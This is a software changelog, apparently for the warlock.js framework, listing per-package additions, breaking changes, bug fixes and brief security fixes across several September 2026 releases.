    • AddedNew page metadata field alternates (Record<string, string>, keyed by locale code plus optional x-default) lets a page declare its own per-locale hreflang targets — for per-locale content slugs that the framework's path-swapped generated alternates can't describe — and replaces the generated set entirely, in both SSR and client navigation, when set.
    • AddedPage loaders, layout loaders, metadata callbacks and page actions receive route: { name, path, params } — the matched page's route. Under sites, request.route is core's /* catch-all; ctx.route is the page (PageRoute is exported).
    • Fixedwarlock dev now lets webConnector({ ssrFetchTimeoutMs }) configure Vite SSR module fetching; WARLOCK_SSR_FETCH_TIMEOUT_MS takes precedence. Invalid values warn and retain the 60000ms default, while timeout errors name the module and point to CPU overload and the environment override.
    • FixedMetadata callbacks now correctly retain child metadata with child.metadata; diagnostic errors also identify the common mistaken ...child spread and show the correct form.
    • FixedThe "runtime exports must use one of ..." page-discovery error now names the offending export and the source file, and its allowlist is built from the same list the check enforces, so it can no longer omit action/actions or drift from what's actually accepted.
    • Fixedwarlock dev keeps serving Vite assets (theme.css, app.css?direct, the client entry) after an HTTP-only restart: the web connector re-attaches its Vite middleware to the rebuilt HTTP instance instead of leaving pages unstyled and unhydrated.
    • FixedcreateWebBuildContribution() gains a typings hook that writes web-routes.d.ts with the same writer and inputs as generate, so warlock generate.typings produces the route types before any build.
    • FixedMulti-site production pages now retain their site-local translation snapshots.
    • FixedMulti-site not-found documents now emit the site-qualified page name registered by client hydration.
    • FixedPage-scoped request translations now fall back to global translations in the active locale when a page bag lacks the key.
    • FixedProduction hydration-client builds now resolve PostCSS configuration from the application root, matching development.
    • FixedPage discovery now fails when a *.setup.ts file has no paired UI module, preventing middleware and metadata from being silently ignored.
    • Fixedwarlock dev now reports the same setup-file projection errors as warlock build (e.g. an unread top-level call like const guard = requireUser(opts) in a *.setup.ts), on first load and on every edit, instead of only failing at build time.
    @warlock.js/cascadeAdded 1Fixed 3
    • AddedDrivers emit public query events for settled PostgreSQL SQL and MongoDB commands; dataSourceRegistry forwards them with the registered connection name for centralized inspection.
    • FixedPostgreSQL groupByRaw() now emits and parses its raw GROUP BY operation correctly, including bound parameters.
    • FixedMongoDB lockForUpdate() now throws the public UnsupportedLockForUpdateError with guidance to use a conditional atomic update instead of a nonexistent row lock.
    • FixedMongoDB atomic upserts now assign the model's auto-increment id on insert without changing an existing document's id.
    create-warlockChanged 3Fixed 1
    • ChangedThe generated app's README is rewritten for the current template: dev / build / start, migrations, generators, the web stack vs API-only, warlock add, tests and the AI agent skills.
    • ChangedThe generated database config explains autoGenerateId and when to turn it off for an existing _id-only MongoDB.
    • ChangedRemoved broken template scripts: gen.v (called a command that doesn't exist), gen.md (duplicate of gen.m), serve (POSIX-only nohup, and tied to one package manager) and lf (needed dos2unix). Use npm run build && npm run start instead of serve.
    • Fixeddocs/new-module.md in the generated app named warlock create.module; it is warlock generate.module.
    @warlock.js/sealChanged 1Fixed 2
    • ChangedBehaviour change: Empty and whitespace-only form values are treated as missing by non-string validators, so optional fields are omitted, nullable fields resolve to null, and required fields report required.
    • FixedObjectValidator no longer recurses into its shape when the input is null on a .nullable() object (or the whole object is missing on an .optional() one) — it now short-circuits on the already-resolved result instead of re-running child validators against undefined, which previously reported spurious "required" errors for a null value.
    • FixedBaseValidator clones preserve translated attributes, and required-rule labels now resolve at validation time regardless of .required() / .transAttributes() chain order.
    @warlock.js/authFixed 2
    • FixedauthMiddleware now returns its normal 401 missing-credential response for an unsafe dual-source request that presents neither access nor refresh cookies, instead of treating the configured refresh descriptor as a presented credential and rejecting its Origin with 403.
    • FixedToken-pair issuance now ensures its durable token family once, and repeated ensures return the existing family without another upsert.
    @warlock.js/cacheAdded 1
    • Addedinvalidated cache event: tags([...]).invalidate() now emits it once, with the tags, the keys it removed and durationMs. The per-key removed events still fire.
    @warlock.js/queueChanged 1
    • ChangedstartWorkers() (and the queueConnector's start(), which calls it) no longer starts in-process workers on a process that doesn't serve the worker role (WARLOCK_ROLES), logging queue: workers not started (role: ...) instead. Producers (dispatch) and the dashboard mount are unaffected. With no --role passed, every role is on and nothing changes.
    @warlock.js/schedulerChanged 1
    • Changedscheduler.start() is now a no-op, logging scheduler: not started (role: ...), on a process that doesn't serve the worker role (WARLOCK_ROLES) — so an app calling it in main.ts doesn't run its jobs on every web/api node. The "jobs registered but start() never called" development warning no longer fires on such a process. With no --role passed, every role is on and nothing changes.
    5.24.0
    September 27, 2026

    Safer human-in-the-loop approvals and working Claude extended thinking. A durable HITL approval is now bound to the exact agent session, tool and arguments it approved, so it can no longer be consumed by a concurrent run or applied to a different call; pending approvals from earlier versions ask again. Claude extended thinking now works on Anthropic and Bedrock across tool calls (signed thinking blocks are replayed), and maxTokens must exceed the thinking budget. Named ErrorBoundary components receive the HTTP status; PageLoaderContext no longer needs type arguments; Postgres transactions accept settings applied as SET LOCAL; request.input() sees multi-site route params; merge({ col: null }) saves NULL.

    Full release notes or run npx warlock release-notes.

    @warlock.js/aiSecurity 1
    • SecurityDurable HITL approvals are now bound to the exact agent session, tool, and arguments they approved, preventing cross-run or cross-action replay. A decision that doesn't match the call being gated is never applied; the call asks for approval again. resume() re-runs in the interrupted session unless executeOptions.sessionId says otherwise. Approvals left pending by an earlier version must be approved again after upgrading.
    @warlock.js/webAdded 1Changed 1Fixed 1
    • AddedNamed page, layout, and root ErrorBoundary components now receive the resolved HTTP status alongside error.
    • ChangedPageLoaderContext's type parameters default to undefined, so a loader with no validation or route can be typed ({ request }: PageLoaderContext).
    • FixedAdded the missing web.forms.redactValues configuration type for redacting submitted values echoed in failed page-action state.
    @warlock.js/cascadeAdded 1Fixed 1
    • AddedPostgreSQL transactions accept transaction-local settings, applied safely with parameterized set_config calls after BEGIN; use them for RLS context, statement_timeout, or search_path without leaking values to the pool.
    • FixedAn explicit null given to merge()/set() is now written as NULL on save. Before, an optional, non-nullable column cleared to null (for example, restoring a soft-deleted row with merge({ deletedAt: null })) was dropped from the update, and the row kept its old value. A required column set to null still fails validation.
    @warlock.js/ai-anthropicFixed 1
    • FixedPreserve signed and redacted extended-thinking blocks across Anthropic tool-use follow-ups, and ensure max_tokens exceeds the thinking budget.
    @warlock.js/ai-bedrockFixed 1
    • FixedPreserve Claude extended-thinking reasoning blocks across Bedrock Converse tool-use follow-ups, and enforce valid thinking budgets and output-token ceilings.
    @warlock.js/coreFixed 1
    • Fixedrequest.input(key) now sees a route param set with Request.setParam(). Before, it updated only request.params, so in a multi-site app (where the site dispatcher sets each page param) every dynamic segment read as undefined through input(), only() and all(). Params keep their precedence over query and body.
    5.23.2
    September 26, 2026

    Multi-site locale routing and site-origin URLs. In a multi-site app, <Link>, localizedPath(), hreflang and the routing handed to the browser now follow each request's own site (its localeRouting), where before no locale prefix was ever added. Canonical, og:url and hreflang use the request's site origin instead of the app's single public URL. warlock build no longer fails when a site sets its own localeRouting. A page's declared route.name now reaches the generated route types when its loader lives in a companion .setup.ts.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webFixed 4
    • FixedMulti-site locale routing is per site. <Link to>, localizedPath(), hreflang alternates and the routing handed to the browser now follow the rendering request's own site (its localeRouting, over web.localeRouting). Before, a multi-site app never published locale routing, so none of them added a locale prefix, in dev or production.
    • FixedMulti-site pages build canonical, og:url and hreflang URLs from the request's site origin instead of the app's single public URL.
    • Fixedwarlock build no longer fails with "app.localeCodes declares no locale codes" when a site sets its own localeRouting.
    • FixedA page's declared route.name wins in the generated route types when its loader lives in a companion .setup.ts and config stays in the page file (for example, typed satisfies PageConfig<typeof loader>). Discovery now reads config from whichever of the two files declares it, and rejects it in both, as the runtime already did.
    5.23.1
    September 26, 2026

    Multi-site: $sites folders, dev hydration, and production routing. Sites now live only in src/web/$sites/<key>/ (the folder name is the site key); web.sites.<key>.pages is removed and a leftover pages is a boot error naming the folder to move. Fixes: in warlock dev, each site's client entry now loads only its own pages (it failed with "Two pages resolve to the same route path" and never hydrated); adding or removing a page in dev no longer fails with a duplicate site-dispatch route name; $sites/<key> never leaks into page URLs or route names in production.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webChanged 1Fixed 3
    • ChangedBREAKING: sites live only in src/web/$sites/<name>/ (the folder name is the site key); web.sites.<name>.pages is removed and reported at boot.
    • FixedMulti-site dev: each site's client entry now loads only its own pages. Before, warlock dev failed to transform the hydration entry with "Two pages resolve to the same route path", so pages never hydrated.
    • FixedMulti-site dev: adding or removing a page no longer fails with Route name "warlock.site-dispatch.get" is already taken.
    • Fixed$sites/<key> never reaches a page's URL or route name in any installer, including production.
    5.23.0
    September 26, 2026

    Multi-site web applications, safer traffic controls, and Postgres correctness. Web adds web.sites and resolveHost for fixed and tenant-resolved domains, with isolated roots, routes, page caches, sitemap/robots, cross-site links, siteUrl(), and tlsAsk; it also fixes Real-Estate multi-site production and page-action edge cases. Core adds per-user rateLimit({ key: "user" }). Cascade adds opt-in Postgres naming: "snake_case" and safe bigint/int8 parsing. Queue carries request context into jobs, and Scheduler adds scheduler.around.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webAdded 2Changed 2Fixed 7Security 1
    • AddedMulti-site support (web.sites, resolveHost).
    • AddedPageActionContext<typeof schema> accepts a bare Seal schema, typing request.validated() as its output; works with a plain config: PageConfig annotation. The typeof config.action form is unchanged.
    • ChangedBuild logs show app-relative output paths.
    • ChangedA page action's response.cookie() and response.clearCookie() now take the same arguments as core's Response, so auth's cookie helpers (which take Response; CookieWriter is removed) accept it.
    • FixedA page file can declare its action schema at the top (const schema = v.object(...), read by config.action.validation or config.actions.<name>.validation) — the documented pattern. Dev and build no longer refuse it as an ambiguous statement.
    • FixedMulti-site in dev: tenant data from resolveHost({ shared }) now reaches useShared(), and siteUrl() / cross-site href() see the current site. The connector and the page pipeline run in two module copies in dev (Node and Vite SSR); both hand-offs now use global slots, as production already effectively did.
    • FixedsiteUrl() and the CurrentSite type are exported from @warlock.js/web, as the multi-site guide documents.
    • Fixedwarlock build with web.sites no longer fails when src/config/web.ts imports app code through a tsconfig alias (a resolveHost from app/...): the build bundles web.ts with esbuild before reading sites.
    • FixedA <Link> or navigateTo() to another site's route (an absolute URL on another origin) now loads that site instead of silently doing nothing; the locale prefix is no longer applied to absolute URLs.
    • FixedA multi-site production build now boots: each site's hashed hydration-<site> entry is read from the Vite manifest at boot and served to that site's pages (it previously demanded a single hydration entry and refused to start).
    • FixedMulti-site production installs each site's pages under its own root (the dispatcher was dropped on the way to the production installer), and boot no longer tries to publish one global sitemap that needs app.publicUrl: each site's sitemap is built for its own origin.
    • SecurityWith app.url set, a request whose Host differs now bypasses the page cache (no lookup, no store) instead of being keyed as the configured host, closing cache poisoning via forged Host.
    @warlock.js/coreAdded 3Fixed 3
    • Addedwarlock generate.use-case <module>/<verb-noun> scaffolds use-cases/<verb-noun>.use-case.ts (transport-agnostic (input, actor) returning a result union) plus a vitest spec, and refuses to overwrite existing files without --force.
    • AddedrateLimit accepts key: "user" to bucket by the signed-in user id (routes and page actions), with guests: "ip" | "skip" (default "ip") for unauthenticated requests. keyGenerator and the 429 shape are unchanged.
    • AddedEach rateLimit() call now keeps its own counters, so two limits on the same route (two page actions on one page, say) no longer share a bucket. errorMessage also accepts (request) => string for per-request (translated) messages.
    • FixedstartHttpTestServer() now loads .env.test itself before configuration is read, so a Vitest global setup cannot boot against the development database.
    • Fixedwarlock add installs with the project's package manager: the nearest packageManager field, then a pnpm-workspace.yaml, then the nearest lockfile, searched upward so an app inside a workspace uses the workspace's manager.
    • FixeduniqueExceptCurrentUser / uniqueExceptCurrentId / existsExceptCurrentUser / existsExceptCurrentId on StringValidator now return this, so Infer<> keeps the concrete output type.
    @warlock.js/cascadeAdded 2Fixed 2
    • AddedPostgres naming: "snake_case" (opt-in, default "preserve"): camelCase model keys map to snake_case columns in inserts, updates, where, orderBy, select, groupBy and joins, and rows come back camelCase. Table names and raw SQL are left as written.
    • AddedStatic Model.whereRaw(expression, bindings?), matching the other static query entry points (Model.query().whereRaw(...) still works).
    • FixedPostgres bigint/int8 columns (and int8 arrays) come back as numbers when they fit in a safe integer, so a bigint id passes v.number(); larger values stay strings. The parser is installed on Cascade's own pool, not on the global pg.types.
    • Fixedunique() / exists() on StringValidator and NumberValidator now return this, so Infer<> keeps the concrete output type (was unknown).
    @warlock.js/queueAdded 2
    • AddeddefineQueueContext() / setQueueContext(): capture ambient state (tenant, request id) at dispatch and restore it around the job handler. The captured value travels in a versioned envelope; jobs without one still run. Exposed as ctx.context. Opt a job out with context: false.
    • AddedUnrecoverableJobError: throw it from a handler or restore to fail the job permanently (mapped to BullMQ's UnrecoverableError).
    @warlock.js/schedulerAdded 1
    • Addedscheduler.around((job, run) => …) wraps every job callback execution, each retry attempt included, so jobs can run inside a context such as AsyncLocalStorage. Multiple hooks compose with the first registered outermost; the call returns an unsubscribe function. A hook that never calls run skips the execution and emits job:skip (JobResult.skipped / skipReason); a hook that throws follows the normal retry/error path.
    create-warlockChanged 1Fixed 4
    • ChangedTemplate schemas and models drop redundant .required() and non-load-bearing satisfies, matching the framework skills.
    • FixedScaffolding inside an existing pnpm workspace no longer writes a nested pnpm-workspace.yaml; a standalone app still gets one.
    • FixedPostgres apps get their own database defaults in .env and .env.example (MongoDB keeps DB_AUTH and port 27017).
    • FixedThe gen.* scripts use the registered warlock generate.<x> commands.
    • FixedminimumReleaseAgeExclude covers @warlock.js/* by pattern, so a freshly published family installs without listing versions or unused packages.
    @warlock.js/sealAdded 1Fixed 1
    • AddedArray validators take .min(n) / .max(n) for length, like strings and numbers; .minLength() / .maxLength() remain as aliases.
    • FixedAn omitted optional field skips its mutators, so v.string().trim().optional() no longer reports a missing field as required.
    @warlock.js/authRemoved 1
    • RemovedBREAKING: CookieWriter is removed. setSessionCookies, clearSessionCookies, setAuthCookie, clearAuthCookie and loginWithSessionCookies take core's Response (only its cookie and clearCookie), so a page action's response still works without a cast. An app helper that was typed as CookieWriter can take { cookie: (...args: Parameters<Response["cookie"]>) => unknown } instead.
    @warlock.js/notificationsAdded 1
    • AddednotificationColumns() now supports idType for UUID, bigint, integer, and string recipient and tenant IDs.
    5.22.1
    September 25, 2026

    Installed app corrections. Web resolves page sessions from Core's shared configuration, restoring signed-in loaders, actions, and useUser() in installed apps. Create Warlock loads generated page styles through the app stylesheet so sitemap generation can import page modules in Node. Lockstep corrective release across all 30 packages.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webFixed 1
    • FixedPage session resolution reads Core's shared config instance, so authenticated loaders, actions, and useUser() receive the signed-in user in installed apps.
    5.22.0
    September 25, 2026

    Page action and session contracts, durable Cascade jobs, and safer AI serving. Web and Auth add action-specific validated input, session-aware page and layout loaders, buffered logout cookie clearing, and a 503 action helper. Cascade restores PostgreSQL TTL purge jobs after reconnect and retries post-commit sync fan-out; Core preserves configured local-storage path prefixes. AI serving adds server-owned sessions, request limits, disconnect cancellation, safer MCP environment handling, unpriced-model budget rejection, and Core-owned SSRF address classification. Sixteen approved Mongez skills-only patches and grouped agent-kit skills are included.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webFixed 5
    • FixedPageConfig accepts action and actions (new PageActionConfig type), so config = { action: { validation } } satisfies PageConfig type-checks.
    • FixedPageActionContext<typeof config.action> types request.validated() from the action's Seal validator.
    • FixedAn action's response.clearCookie() exists and sends the deleting Set-Cookie, so authService.clearSessionCookies(response) no longer throws in a page action.
    • FixedPage action names flow into the generated route manifest; app and layout loaders type resolved sessions; late session renewal raises SessionResolvedTooLateError.
    • FixedPage actions can return response.serviceUnavailable() for upstream failures such as mail delivery.
    @warlock.js/authFixed 1
    • FixedsetSessionCookies, clearSessionCookies, setAuthCookie, clearAuthCookie and loginWithSessionCookies take a CookieWriter (any object with cookie() and clearCookie()), so a page action's response works without a cast.
    @warlock.js/cascadeAdded 1Fixed 1
    • AddedPostgreSQL TTL indexes register purge jobs and persist retention rules in index comments so jobs restore after reconnect.
    • FixedPost-commit sync fan-out retries transient failures without failing committed writes.
    @warlock.js/aiChanged 3
    • ChangedUSD budgets reject unpriced models by default; onUnpriced: "allow" explicitly opts out. Model pricing reaches middleware.
    • Changedai.serve owns session IDs and history, limits request bodies, checks bearer tokens in constant time and aborts on disconnect.
    • ChangedSSRF address classification reuses the core classifier, including IPv4-mapped IPv6.
    @warlock.js/ai-toolsSecurity 1
    • SecurityStdio MCP children receive only a minimal execution environment plus explicitly supplied variables.
    @warlock.js/coreFixed 1
    • FixedLocal storage results return paths with the configured prefix for writes and moves.
    @warlock.js/schedulerFixed 1
    • FixedCron and time parsing handle absent fields explicitly under strict TypeScript checks.
    5.21.0
    September 25, 2026

    Page actions and sessions in pages. Pages can export action/actions and post with <Form> (works without JavaScript; useActionData, FieldError, useIsSubmitting), and read the signed-in user with useUser(), guarded server-side by requireUser/requireGuest from @warlock.js/web/session. Upgrade review required: a full framework sweep ships ~140 fixes with behaviour changes across core, cascade, web and auth (see each package changelog). Generator matrix ran subset scope (baseline, scheduler, postgres, redis, web, sitemap, socket rows); Hasan authorised it on 2026-09-24: "Don't wait for any other approvals, you have green light to do everything needed to have 5.21 released, don't stop before the release, no complete the push and publish/release".

    Full release notes or run npx warlock release-notes.

    @warlock.js/webAdded 3Changed 5Fixed 3
    • AddedPage actions: a page can export action / actions (PageActionNames). <Form> works without JavaScript, shows field errors, redirects and revalidates the page. Client helpers: useActionData(), FieldError, useIsSubmitting(), useSubmitAction(). ActionResponse types the server result. web.forms.redactValues controls which submitted values are redacted from echoed state.
    • AddedSessions in pages: web.session resolver, useUser() on the client, requireUser() / requireGuest() in page middleware and loaders (server-only subpath @warlock.js/web/session), safeRedirectTarget() and PageRedirectSignal.
    • AddedCSS Modules (*.module.css) render on the server with class names matching the client.
    • ChangedBREAKING: the page cache keeps path case, does not cache the HTML variant under a CSP, and runs app/layout/page middleware before serving a cache hit.
    • ChangedBREAKING: two filesystem pages that differ only by route-param name (blog/[id] vs blog/[slug]) throw DuplicatePageRoutePathError. Rename one.
    • ChangedThe locale cookie now has a 1-year Max-Age. Link never intercepts download, target other than _self, or modified clicks.
    • ChangedA * wildcard param is encoded per path segment (/ is no longer %2F); the image loader appends &variant= to an existing query and keeps #fragment last.
    • ChangeduseShared() uses useSyncExternalStore, so memoized consumers update after hydrateShared().
    • FixedBuild gates: Gate C, the unread PUBLIC_ env check and *.setup.ts handling are more accurate.
    • FixedNormalize conditional-request header values before sitemap validator comparisons.
    • FixedRegister explicit HEAD handlers for sitemap documents and immutable shard URLs.
    @warlock.js/authAdded 3Changed 3
    • AddedPage sessions: pageSession / sessionMiddleware give pages a renewing session (renewal on by default). session.maxAge bounds the token family from its creation (default "30d"); a family past it is revoked and renewal returns null.
    • AddedsetSessionCookies / clearSessionCookies write HttpOnly, SameSite=Lax, Path=/ cookies, ignoring auth.cookie.path. authService.loginWithSessionCookies() logs in and sets them.
    • AddedresolveRequestUser memoizes on request.locals.session: repeat or concurrent callers in one request share a single verify, DB lookup and renewal (the first caller's options win).
    • ChangedBREAKING: loginWithSessionCookies() requires a same-origin Origin/Referer even with no cookies, otherwise it throws CsrfOriginMismatchError. Send the header from non-browser clients.
    • ChangedBREAKING: authMiddleware takes an ordered header/cookie sources list; a present Authorization header always wins and never falls back to the cookie, so an invalid header now returns 401.
    • ChangedJWTs carry a random jti, so tokens issued in the same second differ.
    @warlock.js/coreAdded 2Changed 16Fixed 2
    • Addedapp.shutdownTimeout (default 10s) — an overall shutdown budget. HTTP stops accepting and drains first, then the other connectors stop in reverse priority; if the budget runs out, the hung connector is logged and the process exits with code 1. In shared mode, closing socket.io no longer closes the Fastify server.
    • AddedputFromPath(localPath, storagePath) on storage — uploads a local file by path.
    • ChangedBREAKING: put(string) now always stores the string as content. To upload a local file, use putFromPath().
    • ChangedBREAKING: multipart limit violations now respond 413.
    • ChangedBREAKING: hmacKey is validated — a non-hex key throws instead of silently hashing with an empty key. Set a hex encryption.hmacKey.
    • ChangedBREAKING: DatabaseLogModel fields are now module/action/content/stack/date; legacy message/trace are still read. Update any code that queries the old fields directly.
    • ChangedBREAKING: SMTP secure now defaults from the port (465 → implicit TLS) when not set explicitly.
    • ChangedBREAKING: the page cache keeps the request path's case, and the HTML variant is not cached under a CSP. Middleware (app, layout, page) now runs before a page-cache hit is served.
    • ChangedBREAKING: list(request.all()) honours only a whitelist of control keys, and exists() defaults to the primary key. Pass an explicit column if you relied on another one.
    • ChangedBREAKING: Restful saves validated data only — fields missing from the validation schema are dropped. Add them to the schema if they must be persisted.
    • ChangedBREAKING: mail mode defaults to "development" (log/preview, no real send) outside production, unless mail.sendInDevelopment === true or setMailMode was called.
    • ChangedBREAKING: unhandled request errors no longer print via console.error; they reach configured logger channels only. Configure a channel to keep that visibility.
    • ChangedLogger enabled: false (top-level or per-environment) now silences the channel, and the test environment block is honoured.
    • Changedgenerate.model migration naming is corrected, --with-resource also creates the resource file, and gen.migration refuses to run when the target model file is missing.
    • Changedwarlock <cmd> -v reaches the command instead of printing the version; --help always rescans plugin and project commands. Resolved CLI option.name is always camelCase.
    • Changedimage.fromUrl() throws StorageError for private/reserved hosts, disallowed schemes and oversized (>50MiB) or slow (>30s) bodies.
    • ChangedRoutes with rateLimit.errorMessage return that message on 429. The upload default prefix format is now DD-MM-YYYY-HH-mm-ss.
    • ChangedflushPendingCookies throws instead of silently dropping cookies when the parked-cookie symbol is missing. Later bootstrap() calls no longer re-register the unhandled-rejection listener.
    • FixedThe dev health checker now lints projects using eslint.config.ts/.mts/.cts.
    • FixedAn explicit HEAD route now takes precedence over Fastify's automatic HEAD registration for a GET route at the same path. GET-only routes retain Fastify's implicit HEAD behavior.
    @warlock.js/cascadeAdded 1Changed 10Fixed 3
    • AddedMigration locks: a migration run takes a lock for its whole duration (Postgres advisory lock warlock:migrations; MongoDB lock document with a 10-minute TTL). A held lock is waited on for up to 60s, then the run throws naming the holder.
    • ChangedBREAKING: Model.delete() with no filter throws instead of deleting everything. Pass a filter.
    • ChangedBREAKING: migrations run in authored order; order is the primary sort key, so a migration with a non-zero order changes run/rollback order. Multi-batch rollback sorts batch DESC, then createdAt DESC, and export .down.sql orders newest-first. transactional: false and dataSource are now honoured.
    • ChangedBREAKING: dry runs (--sql, export-sql, runAll({ dryRun })) write nothing — no up()/down() side effects and no recording.
    • ChangedBREAKING: isDefault applies only to the first data source.
    • ChangedBREAKING: model events are emitted under both the class name and the table name (model.<table>.updated, or model.<dataSource>:<table>.updated). Listeners on either name work.
    • ChangedBREAKING: a unique-constraint violation on insert/update (pg 23505, mongo 11000) throws DatabaseWriterValidationError (a field error) instead of a raw driver error. The unique rule excludes the model's own row on update.
    • ChangedBREAKING: unique/exists/databaseModels/embed rules with an unregistered string model name throw a descriptive error ("did you forget @RegisterModel()?"). exists() defaults to the primary key, and uuid always returns a string.
    • ChangedBREAKING: sync runs after commit and logs failures as sync.failed; multi-level sync (.maxDepth()) is removed.
    • ChangedMongo: orderByRaw()/cursor() throw instead of being ignored, raw() throws a "SQL only" error, whereDate/whereBefore/whereAfter use UTC day boundaries, and transaction callbacks may run more than once (retried on transient errors).
    • ChangeddefineModel no longer overrides base-class strictMode/autoGenerateId unless supplied. Validation no longer calls console.trace.
    • FixedPostgres driver: whereLike with a RegExp (~*/!~*), count()/exists() honour has/whereHas, joins and groupBy/distinct, and whereJsonContains binds a parameter.
    • FixedMigrations: .index()/.unique()/.vectorIndex() inside Migration.alter modify now create the index, and randomIncrement takes effect.
    • FixedMongo: replica-set detection runs hello once per driver.
    5.20.0
    September 24, 2026

    Cache compatibility changes require an upgrade review: cached() auto-keys, flat memory keys, finite ownership-safe locks, Redis FLUSHDB, tokenized stored lock values, and numeric TTL normalization all change observable behavior. @warlock.js/web adds generated named-route types and managed sitemap generations; Core, Cache, Cascade, Auth, Scheduler, and Socket.IO add safer multi-instance boundaries. Generator matrix ran subset scope (baseline, scheduler, postgres, redis, web, sitemap, socket rows); Hasan authorised it on 2026-09-24: "Go with rec, and tell me whether we should move the matrix run from my machine to Github instead and I report back with failures or keep it on my machine?".

    Full release notes or run npx warlock release-notes.

    @warlock.js/cacheAdded 4Fixed 25
    • AddedAtomic increment/decrement, pull and update, with a per-driver guarantee:
    • AddedTag index primitives on the driver contract: tagAdd, tagMembers, tagRemove. Redis uses a native SET inside the prefix (a legacy JSON index is upgraded on first touch), Postgres a one-statement JSON-array merge on the index row, and the in-memory drivers a separate store that eviction and expiry never touch. file and null keep the serialized fallback. invalidate() deletes exactly the members it read, writes prune up to 20 dead members, remove()/pull() detach the key, and tagged increment/pull use the atomic ops.
    • AddedPgCacheDriver.prune(limit = 1000) deletes expired rows in batches and returns the count. set() also runs it in the background on about 1 in 200 writes, so unique-key workloads no longer grow the table forever.
    • Addedlock() successor-safe release (see Fixed). There is no renewal, so the TTL must exceed the worst-case duration of the locked work.
    • Fixedlock() no longer deletes a successor's lock after its own TTL expired. Release is an ownership-checked compare-and-delete (atomic on the memory, Redis and Postgres drivers), so a slow holder can't free a lock that another caller has since acquired.
    • FixedA failing lock release (for example a Redis blip) no longer replaces fn's result or error. It is logged, so callers no longer retry a job that had already succeeded.
    • FixedTwo concurrent lock() calls in one process could both acquire the lock on the memory, mock and file drivers. onConflict: "create" is now a synchronous check-and-insert on memory and an exclusive create on file.
    • FixedRedis flush() without a prefix no longer wipes every database on the server (queues, sessions, other apps).
    • FixedRedis removeNamespace("users") also deleted users2.* and usersettings.*, and flushing tenant app also deleted app2.* and apple.*. It now matches ns and ns.* only, in batched UNLINK calls rather than one giant DEL.
    • FixedRedis 5 scanIterator() batches keys per cursor response. removeNamespace() now flattens those batches before deleting them, while retaining compatibility with older clients that yield one key at a time.
    • FixedRedis SWR metadata now lives inside the namespace, so flush() clears it, and a plain set clears it, so a stale staleAt no longer poisons later reads.
    • FixedA failed Redis connect() is rethrown and can be retried; it used to be logged, swallowed and never retried.
    • Fixedincrement()/decrement() dropped the key's TTL on non-Redis drivers, so rate-limit counters could become permanent and block an IP forever. The remaining TTL is now kept.
    • Fixedpull() could hand a one-time token to two concurrent requests, and update() lost increments across servers (the login throttle and AI budget counters were looser by N×). Both are atomic where the driver allows; see Added.
    • Fixedremember() recomputed on every call for 0, false and "". Only null is a miss now.
    • Fixedremember, swr and update shared one in-flight map: remember() could return an SWR refresh's undefined, and a remember() could break an update() chain. Each now has its own map. swr() also single-flights a cold miss.
    • FixedWith the null driver, remember("user.1") and remember("user.2") ran concurrently and returned user 1's data for user 2. The null driver keeps real keys now.
    • Fixedcached().invalidate() ignored config.driver and left stale data on the custom driver. Auto-keys no longer fold punctuation, so profile("1.private", "") and profile("1", "private"), or { q: "x" } and ("q", "x"), no longer share an entry (request-controlled args could reach another caller's cache entry).
    • FixedMemory maxSize counted top-level namespaces, so dotted keys cascaded evictions that wiped the whole cache, and with a globalPrefix it never evicted at all. It counts entries now, in LRU order.
    • FixedThe memory sweep scanned every key every second, and a stale timer record could delete a newer permanent value. Only finite-TTL entries are swept.
    • FixedThe memory, LRU and mock drivers stored objects by reference, so a caller mutating a value corrupted the cache. Values are cloned on write.
    • FixedmemoryExtended slid expiresAt before checking expiry, so expired entries came back and failed lock() attempts extended the holder's lock forever. Expiry is checked first.
    • FixedFile driver: writes are atomic (temp file + rename), and a corrupt or half-written file is a miss instead of deleting the key directory (a reader used to delete the entry being written). An empty key is rejected; it used to resolve to the cache root, so remove() wiped the whole cache directory.
    • Fixedcache.list().trim(start, -1) emptied the list, so trim(-50, -1) ("keep the last 50") deleted everything. trim is LTRIM-inclusive now, and list operations keep the key's TTL.
    • FixedScopedCache.update()/merge() reset a session's remaining TTL on every call. They keep it.
    • FixedConcurrent first use of a driver created duplicate clients and leaked sockets. The manager runs a single in-flight load per driver, and disconnect() closes every loaded driver, not only the current one (shutdown used to hang or leak).
    • FixedPostgres set expires_at from the app clock but compared against the DB now(), so clock skew shifted TTLs and locks could be born expired. Expiry is computed on the DB clock.
    • FixedLazy expiry deleted prefix.prefix.key when a globalPrefix was set, so expired entries lingered. It re-parsed the key and didn't await the delete.
    • FixedConcurrent tagged writes dropped keys from the tag index, so tags().invalidate() left stale entries, and the index grew forever. The index is now a set primitive that is never lost and is pruned, and LRU capacity or memory maxSize can no longer evict it.
    @warlock.js/webAdded 3Changed 1
    • AddedDevelopment and production publish generated page and named-API route declarations to .warlock/typings/web-routes.d.ts. href, Link, client navigation, and useSubmitForm use those declarations when present while retaining runtime validation before they have been generated.
    • AddedPublic PageLoaderContext, LayoutLoaderContext, AppLoaderContext, and WebConfigurations type exports.
    • AddedManaged sitemaps: durable generation manifests, optional shared storage, model-driven invalidation after a Cascade transaction commits, conditional HTTP responses, and immutable generation shard URLs. Requests serve the last published generation and never generate an XML document themselves.
    • ChangedRefined grouped skill discovery guidance for routes, loaders, form submission, and sitemap generation.
    @warlock.js/sitemapAdded 2Changed 1
    • AddedSitemapEntry.images emits the Google image sitemap extension, validates absolute HTTP(S) image URLs, and limits each URL to 1,000 images with a caller-visible diagnostic.
    • AddedSitemapIndexOptions.shardPathPrefix controls public shard links in an index without changing the files written by saveTo().
    • ChangedRefined grouped skill discovery guidance and regenerated package llms projections.
    @warlock.js/coreAdded 7Changed 2Fixed 1
    • AddedProduction build contributions receive a fresh registration-only ConnectorBuildContext.namedApiRoutes snapshot when Web is configured. It contains only named API name, path, and method records, never handlers, middleware, schemas, or source paths.
    • Addedstorage.putIfAbsent(file, location, options?) and storage.supportsPutIfAbsent() — an atomic create-only write. Returns the StorageFile, or null when something already exists at location. Unlike put, a string argument is content, not a path. Local driver writes a temp file then hard-links it; S3/R2 send If-None-Match: *. DigitalOcean Spaces does not expose it. Drivers without it throw StorageCapabilityError.
